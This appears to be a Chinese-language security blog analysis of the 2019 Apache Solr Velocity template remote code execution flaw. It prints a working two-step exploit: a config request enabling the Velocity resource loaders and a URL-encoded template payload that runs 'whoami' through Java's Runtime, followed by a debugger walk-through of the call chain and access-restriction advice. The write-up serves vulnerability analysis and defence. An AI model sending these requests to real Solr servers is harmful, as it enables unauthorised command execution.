Apache Solr最新RCE漏洞分析

  • 2019 年 11 月 6 日
  • 筆記

引言

Apache Solr爆出RCE 0day漏洞(漏洞編號未給出),這裡簡單的復現了對象,對整個RCE的流程做了一下分析,供各位看官參考。

漏洞復現

復現版本:8.1.1

實現RCE,需要分兩步,首先確認,應用開啟了某個core(可以在Core Admin中查看),實例中應用開啟了mycore,

然後先向其config接口發送以下json數據,

{    "update-queryresponsewriter": {      "startup": "lazy",      "name": "velocity",      "class": "solr.VelocityResponseWriter",      "template.base.dir": "",      "solr.resource.loader.enabled": "true",      "params.resource.loader.enabled": "true"    }  }

接着訪問如下url,即可實現RCE,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

原理

首先去分析第一個數據包,因為是對mycore的配置,所以我們先把斷點打在處理配置請求的SolrConfigHandler的handleRequestBody函數上,

因為是POST的請求,跟進handlePOST函數,

在handlePOST中,先取出mycore的當前配置,再和我們發送的配置同時帶進handleCommands函數,並在後續的操作中,最終進到addNamedPlugin函數,創建了一個VelocityResponseWriter對象,該對象的 solr.resource.loader.enabled和params.resource.loader.enabled的值設置成了true,該對象的name為velocity。

然後在發送第二個數據包的時候,在HttpSolrCall.call中獲取responseWriter的時候,會根據參數wt的值去獲取reponseWriter對象,當wt為velocity時,獲取的就是我們精心配置過的VelocityResponseWriter

在後續一連串調用後最終進入我們本次漏洞中最重的的VelocityResponseWriter.write函數,首先調用createEngine函數,生成了包含custom.vrm->payload的惡意template的engine,

惡意的template放在engine的overridingProperties的params.resource.loader.instance和solr.resource.loader.instance中

這裡有一個很重要的點,要想讓惡意template進入params.resource.loader.instance和solr.resource.loader.instance中,是需要保證paramsResourceLoaderEnabled和solrResourceLoaderEnabled為True的,這也就是我們第一個數據包做的事情,

然後再VelocityResponseWriter.getTemplate就會根據我們提交的v.template參數獲取我們構造的惡意template

最終取出了惡意的template,並調用了它的merge方法,

要了解這個template就需要了解一下Velocity Java 模板引擎(因為這個tmplate是org.apache.velocity.Template類對象),官方說法翻譯一下如下,

Velocity是一個基於Java的模板引擎。它允許任何人使用簡單但功能強大的模板語言來引用Java代碼中定義的對象

從這個說法,就能看出這個模板引擎是具有執行java代碼的功能的,我們只需了解一下它的基本寫法,

// 變量定義  #set($name =「velocity」)  // 變量賦值  #set($foo = $bar)  // 函數調用  #set($foo =「hello」) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg))  // 循環語法  #foreach($element in $list)   This is $element   $velocityCount  #end  // 執行模板  template.merge(context, writer);

有了上面這些基本的語法介紹,我們就能理解payload的構造方法了,如果希望更深入的了解,可以自行再去查閱Velocity Java 的資料,我們這裡不再深入。

於是通過最後調用的惡意template的merge方法,成功造成了RCE,最後補上關鍵的調用鏈。

修復方案

目前官方還未給出補丁,建議對solr做一下訪問限制吧。

*本文作者:Glassy@平安銀行應用安全團隊,轉載請註明來自FreeBuf.COM